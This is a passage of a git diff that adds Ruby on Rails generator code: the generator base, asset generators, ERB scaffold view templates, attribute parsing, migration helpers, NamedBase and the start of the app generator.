+ as_hook = options.delete(:as) || generator_name
+
+ names.each do |name|
+ defaults = if options[:type] == :boolean
+ { }
+ elsif [true, false].include?(default_value_for_option(name, options))
+ { banner: "" }
+ else
+ { desc: "#{name.to_s.humanize} to be invoked", banner: "NAME" }
+ end
+
+ unless class_options.key?(name)
+ class_option(name, defaults.merge!(options))
+ end
+
+ hooks[name] = [ in_base, as_hook ]
+ invoke_from_option(name, options, &block)
+ end
+ end
+
+ # Remove a previously added hook.
+ #
+ # remove_hook_for :orm
+ def self.remove_hook_for(*names)
+ remove_invocation(*names)
+
+ names.each do |name|
+ hooks.delete(name)
+ end
+ end
+
+ # Make class option aware of Rails::Generators.options and Rails::Generators.aliases.
+ def self.class_option(name, options={}) #:nodoc:
+ options[:desc] = "Indicates when to generate #{name.to_s.humanize.downcase}" unless options.key?(:desc)
+ options[:aliases] = default_aliases_for_option(name, options)
+ options[:default] = default_value_for_option(name, options)
+ super(name, options)
+ end
+
+ # Returns the default source root for a given generator. This is used internally
+ # by rails to set its generators source root. If you want to customize your source
+ # root, you should use source_root.
+ def self.default_source_root
+ return unless base_name && generator_name
+ return unless default_generator_root
+ path = File.join(default_generator_root, 'templates')
+ path if File.exists?(path)
+ end
+
+ # Returns the base root for a common set of generators. This is used to dynamically
+ # guess the default source root.
+ def self.base_root
+ File.dirname(__FILE__)
+ end
+
+ # Cache source root and add lib/generators/base/generator/templates to
+ # source paths.
+ def self.inherited(base) #:nodoc:
+ super
+
+ # Invoke source_root so the default_source_root is set.
+ base.source_root
+
+ if base.name && base.name !~ /Base$/
+ Rails::Generators.subclasses << base
+
+ Rails::Generators.templates_path.each do |path|
+ if base.name.include?('::')
+ base.source_paths << File.join(path, base.base_name, base.generator_name)
+ else
+ base.source_paths << File.join(path, base.generator_name)
+ end
+ end
+ end
+ end
+
+ protected
+
+ # Check whether the given class names are already taken by user
+ # application or Ruby on Rails.
+ def class_collisions(*class_names) #:nodoc:
+ return unless behavior == :invoke
+
+ class_names.flatten.each do |class_name|
+ class_name = class_name.to_s
+ next if class_name.strip.empty?
+
+ # Split the class from its module nesting
+ nesting = class_name.split('::')
+ last_name = nesting.pop
+
+ # Extract the last Module in the nesting
+ last = nesting.inject(Object) do |last_module, nest|
+ break unless last_module.const_defined?(nest, false)
+ last_module.const_get(nest)
+ end
+
+ if last && last.const_defined?(last_name.camelize, false)
+ raise Error, "The name '#{class_name}' is either already used in your application " <<
+ "or reserved by Ruby on Rails. Please choose an alternative and run " <<
+ "this generator again."
+ end
+ end
+ end
+
+ # Use Rails default banner.
+ def self.banner
+ "rails generate #{namespace.sub(/^rails:/,'')} #{self.arguments.map{ |a| a.usage }.join(' ')} [options]".gsub(/\s+/, ' ')
+ end
+
+ # Sets the base_name taking into account the current class namespace.
+ def self.base_name
+ @base_name ||= begin
+ if base = name.to_s.split('::').first
+ base.underscore
+ end
+ end
+ end
+
+ # Removes the namespaces and get the generator name. For example,
+ # Rails::Generators::ModelGenerator will return "model" as generator name.
+ def self.generator_name
+ @generator_name ||= begin
+ if generator = name.to_s.split('::').last
+ generator.sub!(/Generator$/, '')
+ generator.underscore
+ end
+ end
+ end
+
+ # Return the default value for the option name given doing a lookup in
+ # Rails::Generators.options.
+ def self.default_value_for_option(name, options)
+ default_for_option(Rails::Generators.options, name, options, options[:default])
+ end
+
+ # Return default aliases for the option name given doing a lookup in
+ # Rails::Generators.aliases.
+ def self.default_aliases_for_option(name, options)
+ default_for_option(Rails::Generators.aliases, name, options, options[:aliases])
+ end
+
+ # Return default for the option name given doing a lookup in config.
+ def self.default_for_option(config, name, options, default)
+ if generator_name and c = config[generator_name.to_sym] and c.key?(name)
+ c[name]
+ elsif base_name and c = config[base_name.to_sym] and c.key?(name)
+ c[name]
+ elsif config[:rails].key?(name)
+ config[:rails][name]
+ else
+ default
+ end
+ end
+
+ # Keep hooks configuration that are used on prepare_for_invocation.
+ def self.hooks #:nodoc:
+ @hooks ||= from_superclass(:hooks, {})
+ end
+
+ # Prepare class invocation to search on Rails namespace if a previous
+ # added hook is being used.
+ def self.prepare_for_invocation(name, value) #:nodoc:
+ return super unless value.is_a?(String) || value.is_a?(Symbol)
+
+ if value && constants = self.hooks[name]
+ value = name if TrueClass === value
+ Rails::Generators.find_by_namespace(value, *constants)
+ elsif klass = Rails::Generators.find_by_namespace(value)
+ klass
+ else
+ super
+ end
+ end
+
+ # Small macro to add ruby as an option to the generator with proper
+ # default value plus an instance helper method called shebang.
+ def self.add_shebang_option!
+ class_option :ruby, type: :string, aliases: "-r", default: Thor::Util.ruby_command,
+ desc: "Path to the Ruby binary of your choice", banner: "PATH"
+
+ no_tasks {
+ define_method :shebang do
+ @shebang ||= begin
+ command = if options[:ruby] == Thor::Util.ruby_command
+ "/usr/bin/env #{File.basename(Thor::Util.ruby_command)}"
+ else
+ options[:ruby]
+ end
+ "#!#{command}"
+ end
+ end
+ }
+ end
+
+ def self.usage_path
+ paths = [
+ source_root && File.expand_path("../USAGE", source_root),
+ default_generator_root && File.join(default_generator_root, "USAGE")
+ ]
+ paths.compact.detect { |path| File.exists? path }
+ end
+
+ def self.default_generator_root
+ path = File.expand_path(File.join(base_name, generator_name), base_root)
+ path if File.exists?(path)
+ end
+
+ end
+ end
+end
diff --git a/railties/lib/rails/generators/css/assets/assets_generator.rb b/railties/lib/rails/generators/css/assets/assets_generator.rb
new file mode 100644
index 0000000..e4a305f
--- /dev/null
+++ b/railties/lib/rails/generators/css/assets/assets_generator.rb
@@ -0,0 +1,13 @@
+require "rails/generators/named_base"
+
+module Css # :nodoc:
+ module Generators # :nodoc:
+ class AssetsGenerator < Rails::Generators::NamedBase # :nodoc:
+ source_root File.expand_path("../templates", __FILE__)
+
+ def copy_stylesheet
+ copy_file "stylesheet.css", File.join('app/assets/stylesheets', class_path, "#{file_name}.css")
+ end
+ end
+ end
+end
diff --git a/railties/lib/rails/generators/css/assets/templates/stylesheet.css b/railties/lib/rails/generators/css/assets/templates/stylesheet.css
new file mode 100644
index 0000000..afad32d
--- /dev/null
+++ b/railties/lib/rails/generators/css/assets/templates/stylesheet.css
@@ -0,0 +1,4 @@
+/*
+ Place all the styles related to the matching controller here.
+ They will automatically be included in application.css.
+*/
diff --git a/railties/lib/rails/generators/css/scaffold/scaffold_generator.rb b/railties/lib/rails/generators/css/scaffold/scaffold_generator.rb
new file mode 100644
index 0000000..cf53403
--- /dev/null
+++ b/railties/lib/rails/generators/css/scaffold/scaffold_generator.rb
@@ -0,0 +1,16 @@
+require "rails/generators/named_base"
+
+module Css # :nodoc:
+ module Generators # :nodoc:
+ class ScaffoldGenerator < Rails::Generators::NamedBase # :nodoc:
+ # In order to allow the Sass generators to pick up the default Rails CSS and
+ # transform it, we leave it in a standard location for the CSS stylesheet
+ # generators to handle. For the simple, default case, just copy it over.
+ def copy_stylesheet
+ dir = Rails::Generators::ScaffoldGenerator.source_root
+ file = File.join(dir, "scaffold.css")
+ create_file "app/assets/stylesheets/scaffold.css", File.read(file)
+ end
+ end
+ end
+end
diff --git a/railties/lib/rails/generators/erb.rb b/railties/lib/rails/generators/erb.rb
new file mode 100644
index 0000000..73e986e
--- /dev/null
+++ b/railties/lib/rails/generators/erb.rb
@@ -0,0 +1,21 @@
+require 'rails/generators/named_base'
+
+module Erb # :nodoc:
+ module Generators # :nodoc:
+ class Base < Rails::Generators::NamedBase #:nodoc:
+ protected
+
+ def format
+ :html
+ end
+
+ def handler
+ :erb
+ end
+
+ def filename_with_extensions(name)
+ [name, format, handler].compact.join(".")
+ end
+ end
+ end
+end
diff --git a/railties/lib/rails/generators/erb/controller/controller_generator.rb b/railties/lib/rails/generators/erb/controller/controller_generator.rb
new file mode 100644
index 0000000..5f06734
--- /dev/null
+++ b/railties/lib/rails/generators/erb/controller/controller_generator.rb
@@ -0,0 +1,20 @@
+require 'rails/generators/erb'
+
+module Erb # :nodoc:
+ module Generators # :nodoc:
+ class ControllerGenerator < Base # :nodoc:
+ argument :actions, type: :array, default: [], banner: "action action"
+
+ def copy_view_files
+ base_path = File.join("app/views", class_path, file_name)
+ empty_directory base_path
+
+ actions.each do |action|
+ @action = action
+ @path = File.join(base_path, filename_with_extensions(action))
+ template filename_with_extensions(:view), @path
+ end
+ end
+ end
+ end
+end
diff --git a/railties/lib/rails/generators/erb/controller/templates/view.html.erb b/railties/lib/rails/generators/erb/controller/templates/view.html.erb
new file mode 100644
index 0000000..cd54d13
--- /dev/null
+++ b/railties/lib/rails/generators/erb/controller/templates/view.html.erb
@@ -0,0 +1,2 @@
+<h1><%= class_name %>#<%= @action %></h1>
+<p>Find me in <%= @path %></p>
diff --git a/railties/lib/rails/generators/erb/mailer/mailer_generator.rb b/railties/lib/rails/generators/erb/mailer/mailer_generator.rb
new file mode 100644
index 0000000..7bcac30
--- /dev/null
+++ b/railties/lib/rails/generators/erb/mailer/mailer_generator.rb
@@ -0,0 +1,13 @@
+require 'rails/generators/erb/controller/controller_generator'
+
+module Erb # :nodoc:
+ module Generators # :nodoc:
+ class MailerGenerator < ControllerGenerator # :nodoc:
+ protected
+
+ def format
+ :text
+ end
+ end
+ end
+end
diff --git a/railties/lib/rails/generators/erb/mailer/templates/view.text.erb b/railties/lib/rails/generators/erb/mailer/templates/view.text.erb
new file mode 100644
index 0000000..6d59725
--- /dev/null
+++ b/railties/lib/rails/generators/erb/mailer/templates/view.text.erb
@@ -0,0 +1,3 @@
+<%= class_name %>#<%= @action %>
+
+<%%= @greeting %>, find me in app/views/<%= @path %>
diff --git a/railties/lib/rails/generators/erb/scaffold/scaffold_generator.rb b/railties/lib/rails/generators/erb/scaffold/scaffold_generator.rb
new file mode 100644
index 0000000..bacbc2d
--- /dev/null
+++ b/railties/lib/rails/generators/erb/scaffold/scaffold_generator.rb
@@ -0,0 +1,29 @@
+require 'rails/generators/erb'
+require 'rails/generators/resource_helpers'
+
+module Erb # :nodoc:
+ module Generators # :nodoc:
+ class ScaffoldGenerator < Base # :nodoc:
+ include Rails::Generators::ResourceHelpers
+
+ argument :attributes, type: :array, default: [], banner: "field:type field:type"
+
+ def create_root_folder
+ empty_directory File.join("app/views", controller_file_path)
+ end
+
+ def copy_view_files
+ available_views.each do |view|
+ filename = filename_with_extensions(view)
+ template filename, File.join("app/views", controller_file_path, filename)
+ end
+ end
+
+ protected
+
+ def available_views
+ %w(index edit show new _form)
+ end
+ end
+ end
+end
diff --git a/railties/lib/rails/generators/erb/scaffold/templates/_form.html.erb b/railties/lib/rails/generators/erb/scaffold/templates/_form.html.erb
new file mode 100644
index 0000000..1799e82
--- /dev/null
+++ b/railties/lib/rails/generators/erb/scaffold/templates/_form.html.erb
@@ -0,0 +1,32 @@
+<%%= form_for(@<%= singular_table_name %>) do |f| %>
+ <%% if @<%= singular_table_name %>.errors.any? %>
+ <div id="error_explanation">
+ <h2><%%= pluralize(@<%= singular_table_name %>.errors.count, "error") %> prohibited this <%= singular_table_name %> from being saved:</h2>
+
+ <ul>
+ <%% @<%= singular_table_name %>.errors.full_messages.each do |msg| %>
+ <li><%%= msg %></li>
+ <%% end %>
+ </ul>
+ </div>
+ <%% end %>
+
+<% attributes.each do |attribute| -%>
+ <div class="field">
+<% if attribute.password_digest? -%>
+ <%%= f.label :password %><br>
+ <%%= f.password_field :password %>
+ </div>
+ <div>
+ <%%= f.label :password_confirmation %><br>
+ <%%= f.password_field :password_confirmation %>
+<% else -%>
+ <%%= f.label :<%= attribute.name %> %><br>
+ <%%= f.<%= attribute.field_type %> :<%= attribute.name %> %>
+<% end -%>
+ </div>
+<% end -%>
+ <div class="actions">
+ <%%= f.submit %>
+ </div>
+<%% end %>
diff --git a/railties/lib/rails/generators/erb/scaffold/templates/edit.html.erb b/railties/lib/rails/generators/erb/scaffold/templates/edit.html.erb
new file mode 100644
index 0000000..e58b9fb
--- /dev/null
+++ b/railties/lib/rails/generators/erb/scaffold/templates/edit.html.erb
@@ -0,0 +1,6 @@
+<h1>Editing <%= singular_table_name %></h1>
+
+<%%= render 'form' %>
+
+<%%= link_to 'Show', @<%= singular_table_name %> %> |
+<%%= link_to 'Back', <%= index_helper %>_path %>
diff --git a/railties/lib/rails/generators/erb/scaffold/templates/index.html.erb b/railties/lib/rails/generators/erb/scaffold/templates/index.html.erb
new file mode 100644
index 0000000..9d77864
--- /dev/null
+++ b/railties/lib/rails/generators/erb/scaffold/templates/index.html.erb
@@ -0,0 +1,31 @@
+<h1>Listing <%= plural_table_name %></h1>
+
+<table>
+ <thead>
+ <tr>
+<% attributes.reject(&:password_digest?).each do |attribute| -%>
+ <th><%= attribute.human_name %></th>
+<% end -%>
+ <th></th>
+ <th></th>
+ <th></th>
+ </tr>
+ </thead>
+
+ <tbody>
+ <%% @<%= plural_table_name %>.each do |<%= singular_table_name %>| %>
+ <tr>
+<% attributes.reject(&:password_digest?).each do |attribute| -%>
+ <td><%%= <%= singular_table_name %>.<%= attribute.name %> %></td>
+<% end -%>
+ <td><%%= link_to 'Show', <%= singular_table_name %> %></td>
+ <td><%%= link_to 'Edit', edit_<%= singular_table_name %>_path(<%= singular_table_name %>) %></td>
+ <td><%%= link_to 'Destroy', <%= singular_table_name %>, method: :delete, data: { confirm: 'Are you sure?' } %></td>
+ </tr>
+ <%% end %>
+ </tbody>
+</table>
+
+<br>
+
+<%%= link_to 'New <%= human_name %>', new_<%= singular_table_name %>_path %>
diff --git a/railties/lib/rails/generators/erb/scaffold/templates/new.html.erb b/railties/lib/rails/generators/erb/scaffold/templates/new.html.erb
new file mode 100644
index 0000000..02ae4d0
--- /dev/null
+++ b/railties/lib/rails/generators/erb/scaffold/templates/new.html.erb
@@ -0,0 +1,5 @@
+<h1>New <%= singular_table_name %></h1>
+
+<%%= render 'form' %>
+
+<%%= link_to 'Back', <%= index_helper %>_path %>
diff --git a/railties/lib/rails/generators/erb/scaffold/templates/show.html.erb b/railties/lib/rails/generators/erb/scaffold/templates/show.html.erb
new file mode 100644
index 0000000..5e63415
--- /dev/null
+++ b/railties/lib/rails/generators/erb/scaffold/templates/show.html.erb
@@ -0,0 +1,11 @@
+<p id="notice"><%%= notice %></p>
+
+<% attributes.reject(&:password_digest?).each do |attribute| -%>
+<p>
+ <strong><%= attribute.human_name %>:</strong>
+ <%%= @<%= singular_table_name %>.<%= attribute.name %> %>
+</p>
+
+<% end -%>
+<%%= link_to 'Edit', edit_<%= singular_table_name %>_path(@<%= singular_table_name %>) %> |
+<%%= link_to 'Back', <%= index_helper %>_path %>
diff --git a/railties/lib/rails/generators/generated_attribute.rb b/railties/lib/rails/generators/generated_attribute.rb
new file mode 100644
index 0000000..5e2784c
--- /dev/null
+++ b/railties/lib/rails/generators/generated_attribute.rb
@@ -0,0 +1,146 @@
+require 'active_support/time'
+
+module Rails
+ module Generators
+ class GeneratedAttribute # :nodoc:
+ INDEX_OPTIONS = %w(index uniq)
+ UNIQ_INDEX_OPTIONS = %w(uniq)
+
+ attr_accessor :name, :type
+ attr_reader :attr_options
+ attr_writer :index_name
+
+ class << self
+ def parse(column_definition)
+ name, type, has_index = column_definition.split(':')
+
+ # if user provided "name:index" instead of "name:string:index"
+ # type should be set blank so GeneratedAttribute's constructor
+ # could set it to :string
+ has_index, type = type, nil if INDEX_OPTIONS.include?(type)
+
+ type, attr_options = *parse_type_and_options(type)
+ type = type.to_sym if type
+
+ if type && reference?(type)
+ references_index = UNIQ_INDEX_OPTIONS.include?(has_index) ? { unique: true } : true
+ attr_options[:index] = references_index
+ end
+
+ new(name, type, has_index, attr_options)
+ end
+
+ def reference?(type)
+ [:references, :belongs_to].include? type
+ end
+
+ private
+
+ # parse possible attribute options like :limit for string/text/binary/integer, :precision/:scale for decimals or :polymorphic for references/belongs_to
+ # when declaring options curly brackets should be used
+ def parse_type_and_options(type)
+ case type
+ when /(string|text|binary|integer)\{(\d+)\}/
+ return $1, limit: $2.to_i
+ when /decimal\{(\d+)[,.-](\d+)\}/
+ return :decimal, precision: $1.to_i, scale: $2.to_i
+ when /(references|belongs_to)\{polymorphic\}/
+ return $1, polymorphic: true
+ else
+ return type, {}
+ end
+ end
+ end
+
+ def initialize(name, type=nil, index_type=false, attr_options={})
+ @name = name
+ @type = type || :string
+ @has_index = INDEX_OPTIONS.include?(index_type)
+ @has_uniq_index = UNIQ_INDEX_OPTIONS.include?(index_type)
+ @attr_options = attr_options
+ end
+
+ def field_type
+ @field_type ||= case type
+ when :integer then :number_field
+ when :float, :decimal then :text_field
+ when :time then :time_select
+ when :datetime, :timestamp then :datetime_select
+ when :date then :date_select
+ when :text then :text_area
+ when :boolean then :check_box
+ else
+ :text_field
+ end
+ end
+
+ def default
+ @default ||= case type
+ when :integer then 1
+ when :float then 1.5
+ when :decimal then "9.99"
+ when :datetime, :timestamp, :time then Time.now.to_s(:db)
+ when :date then Date.today.to_s(:db)
+ when :string then name == "type" ? "" : "MyString"
+ when :text then "MyText"
+ when :boolean then false
+ when :references, :belongs_to then nil
+ else
+ ""
+ end
+ end
+
+ def plural_name
+ name.sub(/_id$/, '').pluralize
+ end
+
+ def human_name
+ name.humanize
+ end
+
+ def index_name
+ @index_name ||= if polymorphic?
+ %w(id type).map { |t| "#{name}_#{t}" }
+ else
+ column_name
+ end
+ end
+
+ def column_name
+ @column_name ||= reference? ? "#{name}_id" : name
+ end
+
+ def foreign_key?
+ !!(name =~ /_id$/)
+ end
+
+ def reference?
+ self.class.reference?(type)
+ end
+
+ def polymorphic?
+ self.attr_options.has_key?(:polymorphic)
+ end
+
+ def has_index?
+ @has_index
+ end
+
+ def has_uniq_index?
+ @has_uniq_index
+ end
+
+ def password_digest?
+ name == 'password' && type == :digest
+ end
+
+ def inject_options
+ "".tap { |s| @attr_options.each { |k,v| s << ", #{k}: #{v.inspect}" } }
+ end
+
+ def inject_index_options
+ has_uniq_index? ? ", unique: true" : ""
+ end
+ end
+ end
+end
diff --git a/railties/lib/rails/generators/js/assets/assets_generator.rb b/railties/lib/rails/generators/js/assets/assets_generator.rb
new file mode 100644
index 0000000..1e925b2
--- /dev/null
+++ b/railties/lib/rails/generators/js/assets/assets_generator.rb
@@ -0,0 +1,13 @@
+require "rails/generators/named_base"
+
+module Js # :nodoc:
+ module Generators # :nodoc:
+ class AssetsGenerator < Rails::Generators::NamedBase # :nodoc:
+ source_root File.expand_path("../templates", __FILE__)
+
+ def copy_javascript
+ copy_file "javascript.js", File.join('app/assets/javascripts', class_path, "#{file_name}.js")
+ end
+ end
+ end
+end
diff --git a/railties/lib/rails/generators/js/assets/templates/javascript.js b/railties/lib/rails/generators/js/assets/templates/javascript.js
new file mode 100644
index 0000000..dee720f
--- /dev/null
+++ b/railties/lib/rails/generators/js/assets/templates/javascript.js
@@ -0,0 +1,2 @@
+// Place all the behaviors and hooks related to the matching controller here.
+// All this logic will automatically be available in application.js.
diff --git a/railties/lib/rails/generators/migration.rb b/railties/lib/rails/generators/migration.rb
new file mode 100644
index 0000000..cd69a01
--- /dev/null
+++ b/railties/lib/rails/generators/migration.rb
@@ -0,0 +1,64 @@
+module Rails
+ module Generators
+ # Holds common methods for migrations. It assumes that migrations has the
+ # [0-9]*_name format and can be used by another frameworks (like Sequel)
+ # just by implementing the next migration version method.
+ module Migration
+ attr_reader :migration_number, :migration_file_name, :migration_class_name
+
+ def self.included(base) #:nodoc:
+ base.extend ClassMethods
+ end
+
+ module ClassMethods
+ def migration_lookup_at(dirname) #:nodoc:
+ Dir.glob("#{dirname}/[0-9]*_*.rb")
+ end
+
+ def migration_exists?(dirname, file_name) #:nodoc:
+ migration_lookup_at(dirname).grep(/\d+_#{file_name}.rb$/).first
+ end
+
+ def current_migration_number(dirname) #:nodoc:
+ migration_lookup_at(dirname).collect do |file|
+ File.basename(file).split("_").first.to_i
+ end.max.to_i
+ end
+
+ def next_migration_number(dirname) #:nodoc:
+ raise NotImplementedError
+ end
+ end
+
+ # Creates a migration template at the given destination. The difference
+ # to the default template method is that the migration version is appended
+ # to the destination file name.
+ #
+ # The migration version, migration file name, migration class name are
+ # available as instance variables in the template to be rendered.
+ #
+ # migration_template "migration.rb", "db/migrate/add_foo_to_bar.rb"
+ def migration_template(source, destination=nil, config={})
+ destination = File.expand_path(destination || source, self.destination_root)
+
+ migration_dir = File.dirname(destination)
+ @migration_number = self.class.next_migration_number(migration_dir)
+ @migration_file_name = File.basename(destination).sub(/\.rb$/, '')
+ @migration_class_name = @migration_file_name.camelize
+
+ destination = self.class.migration_exists?(migration_dir, @migration_file_name)
+
+ if !(destination && options[:skip]) && behavior == :invoke
+ if destination && options.force?
+ remove_file(destination)
+ elsif destination
+ raise Error, "Another migration is already named #{@migration_file_name}: #{destination}. Use --force to remove the old migration file and replace it."
+ end
+ destination = File.join(migration_dir, "#{@migration_number}_#{@migration_file_name}.rb")
+ end
+
+ template(source, destination, config)
+ end
+ end
+ end
+end
diff --git a/railties/lib/rails/generators/named_base.rb b/railties/lib/rails/generators/named_base.rb
new file mode 100644
index 0000000..d891ba1
--- /dev/null
+++ b/railties/lib/rails/generators/named_base.rb
@@ -0,0 +1,198 @@
+require 'active_support/core_ext/module/introspection'
+require 'rails/generators/base'
+require 'rails/generators/generated_attribute'
+
+module Rails
+ module Generators
+ class NamedBase < Base
+ argument :name, type: :string
+ class_option :skip_namespace, type: :boolean, default: false,
+ desc: "Skip namespace (affects only isolated applications)"
+
+ def initialize(args, *options) #:nodoc:
+ @inside_template = nil
+ # Unfreeze name in case it's given as a frozen string
+ args[0] = args[0].dup if args[0].is_a?(String) && args[0].frozen?
+ super
+ assign_names!(self.name)
+ parse_attributes! if respond_to?(:attributes)
+ end
+
+ no_tasks do
+ def template(source, *args, &block)
+ inside_template do
+ super
+ end
+ end
+ end
+
+ protected
+ attr_reader :file_name
+ alias :singular_name :file_name
+
+ # Wrap block with namespace of current application
+ # if namespace exists and is not skipped
+ def module_namespacing(&block)
+ content = capture(&block)
+ content = wrap_with_namespace(content) if namespaced?
+ concat(content)
+ end
+
+ def indent(content, multiplier = 2)
+ spaces = " " * multiplier
+ content.each_line.map {|line| line.blank? ? line : "#{spaces}#{line}" }.join
+ end
+
+ def wrap_with_namespace(content)
+ content = indent(content).chomp
+ "module #{namespace.name}\n#{content}\nend\n"
+ end
+
+ def inside_template
+ @inside_template = true
+ yield
+ ensure
+ @inside_template = false
+ end
+
+ def inside_template?
+ @inside_template
+ end
+
+ def namespace
+ Rails::Generators.namespace
+ end
+
+ def namespaced?
+ !options[:skip_namespace] && namespace
+ end
+
+ def file_path
+ @file_path ||= (class_path + [file_name]).join('/')
+ end
+
+ def class_path
+ inside_template? || !namespaced? ? regular_class_path : namespaced_class_path
+ end
+
+ def regular_class_path
+ @class_path
+ end
+
+ def namespaced_file_path
+ @namespaced_file_path ||= namespaced_class_path.join("/")
+ end
+
+ def namespaced_class_path
+ @namespaced_class_path ||= [namespaced_path] + @class_path
+ end
+
+ def namespaced_path
+ @namespaced_path ||= namespace.name.split("::").map {|m| m.underscore }[0]
+ end
+
+ def class_name
+ (class_path + [file_name]).map!{ |m| m.camelize }.join('::')
+ end
+
+ def human_name
+ @human_name ||= singular_name.humanize
+ end
+
+ def plural_name
+ @plural_name ||= singular_name.pluralize
+ end
+
+ def i18n_scope
+ @i18n_scope ||= file_path.tr('/', '.')
+ end
+
+ def table_name
+ @table_name ||= begin
+ base = pluralize_table_names? ? plural_name : singular_name
+ (class_path + [base]).join('_')
+ end
+ end
+
+ def uncountable?
+ singular_name == plural_name
+ end
+
+ def index_helper
+ uncountable? ? "#{plural_table_name}_index" : plural_table_name
+ end
+
+ def singular_table_name
+ @singular_table_name ||= (pluralize_table_names? ? table_name.singularize : table_name)
+ end
+
+ def plural_table_name
+ @plural_table_name ||= (pluralize_table_names? ? table_name : table_name.pluralize)
+ end
+
+ def plural_file_name
+ @plural_file_name ||= file_name.pluralize
+ end
+
+ def route_url
+ @route_url ||= class_path.collect {|dname| "/" + dname }.join + "/" + plural_file_name
+ end
+
+ # Tries to retrieve the application name or simple return application.
+ def application_name
+ if defined?(Rails) && Rails.application
+ Rails.application.class.name.split('::').first.underscore
+ else
+ "application"
+ end
+ end
+
+ def assign_names!(name) #:nodoc:
+ @class_path = name.include?('/') ? name.split('/') : name.split('::')
+ @class_path.map! { |m| m.underscore }
+ @file_name = @class_path.pop
+ end
+
+ # Convert attributes array into GeneratedAttribute objects.
+ def parse_attributes! #:nodoc:
+ self.attributes = (attributes || []).map do |attr|
+ Rails::Generators::GeneratedAttribute.parse(attr)
+ end
+ end
+
+ def attributes_names
+ @attributes_names ||= attributes.each_with_object([]) do |a, names|
+ names << a.column_name
+ names << 'password_confirmation' if a.password_digest?
+ names << "#{a.name}_type" if a.polymorphic?
+ end
+ end
+
+ def pluralize_table_names?
+ !defined?(ActiveRecord::Base) || ActiveRecord::Base.pluralize_table_names
+ end
+
+ # Add a class collisions name to be checked on class initialization. You
+ # can supply a hash with a :prefix or :suffix to be tested.
+ #
+ # ==== Examples
+ #
+ # check_class_collision suffix: "Decorator"
+ #
+ # If the generator is invoked with class name Admin, it will check for
+ # the presence of "AdminDecorator".
+ #
+ def self.check_class_collision(options={})
+ define_method :check_class_collision do
+ name = if self.respond_to?(:controller_class_name) # for ScaffoldBase
+ controller_class_name
+ else
+ class_name
+ end
+
+ class_collisions "#{options[:prefix]}#{name}#{options[:suffix]}"
+ end
+ end
+ end
+ end
+end
diff --git a/railties/lib/rails/generators/rails/app/USAGE b/railties/lib/rails/generators/rails/app/USAGE
new file mode 100644
index 0000000..691095f
--- /dev/null
+++ b/railties/lib/rails/generators/rails/app/USAGE
@@ -0,0 +1,15 @@
+Description:
+ The 'rails new' command creates a new Rails application with a default
+ directory structure and configuration at the path you specify.
+
+ You can specify extra command-line arguments to be used every time
+ 'rails new' runs in the .railsrc configuration file in your home directory.
+
+ Note that the arguments specified in the .railsrc file don't affect the
+ defaults values shown above in this help message.
+
+Example:
+ rails new ~/Code/Ruby/weblog
+
+ This generates a skeletal Rails installation in ~/Code/Ruby/weblog.
+ See the README in the newly created application to get going.
diff --git a/railties/lib/rails/generators/rails/app/app_generator.rb b/railties/lib/rails/generators/rails/app/app_generator.rb
new file mode 100644
index 0000000..b2d1be9
--- /dev/null
+++ b/railties/lib/rails/generators/rails/app/app_generator.rb
@@ -0,0 +1,295 @@
+require 'rails/generators/app_base'
+
+module Rails
+ module ActionMethods # :nodoc:
+ attr_reader :options
+
+ def initialize(generator)
+ @generator = generator
+ @options = generator.options
+ end
+
+ private
+ %w(template copy_file directory empty_directory inside
+ empty_directory_with_keep_file create_file chmod shebang).each do |method|
+ class_eval <<-RUBY, __FILE__, __LINE__ + 1
+ def #{method}(*args, &block)
+ @generator.send(:#{method}, *args, &block)
+ end
+ RUBY
+ end
+
+ # TODO: Remove once this is fully in place
+ def method_missing(meth, *args, &block)
+ @generator.send(meth, *args, &block)
+ end
+ end
+
+ # The application builder allows you to override elements of the application
+ # generator without being forced to reverse the operations of the default
+ # generator.
+ #
+ # This allows you to override entire operations, like the creation of the
+ # Gemfile, README, or JavaScript files, without needing to know exactly
+ # what those operations do so you can create another template action.
+ class AppBuilder
+ def rakefile
+ template "Rakefile"
+ end
+
+ def readme
+ copy_file "README.rdoc", "README.rdoc"
+ end
+
+ def gemfile
+ template "Gemfile"
+ end
+
+ def configru
+ template "config.ru"
+ end
+
+ def gitignore
+ copy_file "gitignore", ".gitignore"
+ end
+
+ def app
+ directory 'app'
+
+ keep_file 'app/mailers'
+ keep_file 'app/models'
+
+ keep_file 'app/controllers/concerns'
+ keep_file 'app/models/concerns'
+ end
+
+ def bin
+ directory "bin" do |content|
+ "#{shebang}\n" + content
+ end
+ chmod "bin", 0755, verbose: false
+ end
+
+ def config
+ empty_directory "config"
+
+ inside "config" do
+ template "routes.rb"
+ template "application.rb"
+ template "environment.rb"
+
+ directory "environments"
+ directory "initializers"
+ directory "locales"
+ end
+ end
+
+ def database_yml
+ template "config/databases/#{options[:database]}.yml", "config/database.yml"
+ end
+
+ def db
+ directory "db"
+ end
+
+ def lib
+ empty_directory 'lib'
+ empty_directory_with_keep_file 'lib/tasks'
+ empty_directory_with_keep_file 'lib/assets'
+ end
+
+ def log
+ empty_directory_with_keep_file 'log'
+ end
+
+ def public_directory
+ directory "public", "public", recursive: false
+ end
+
+ def test
+ empty_directory_with_keep_file 'test/fixtures'
+ empty_directory_with_keep_file 'test/controllers'
+ empty_directory_with_keep_file 'test/mailers'
+ empty_directory_with_keep_file 'test/models'
+ empty_directory_with_keep_file 'test/helpers'
+ empty_directory_with_keep_file 'test/integration'
+
+ template 'test/test_helper.rb'
+ end
+
+ def tmp
+ empty_directory "tmp/cache"
+ empty_directory "tmp/cache/assets"
+ end
+
+ def vendor
+ vendor_javascripts
+ vendor_stylesheets
+ end
+
+ def vendor_javascripts
+ empty_directory_with_keep_file 'vendor/assets/javascripts'
+ end
+
+ def vendor_stylesheets
+ empty_directory_with_keep_file 'vendor/assets/stylesheets'
+ end
+ end
+
+ module Generators
+ # We need to store the RAILS_DEV_PATH in a constant, otherwise the path
+ # can change in Ruby 1.8.7 when we FileUtils.cd.
+ RAILS_DEV_PATH = File.expand_path("../../../../../..", File.dirname(__FILE__))
+ RESERVED_NAMES = %w[application destroy plugin runner test]
+
+ class AppGenerator < AppBase # :nodoc:
+ add_shared_options_for "application"
+
+ # Add bin/rails options
+ class_option :version, type: :boolean, aliases: "-v", group: :rails,
+ desc: "Show Rails version number and quit"
+
+ def initialize(*args)
+ raise Error, "Options should be given after the application name. For details run: rails --help" if args[0].blank?
+
+ super
+
+ if !options[:skip_active_record] && !DATABASES.include?(options[:database])
+ raise Error, "Invalid value for --database option. Supported for preconfiguration are: #{DATABASES.join(", ")}."
+ end
+ end
+
+ public_task :create_root
+
+ def create_root_files
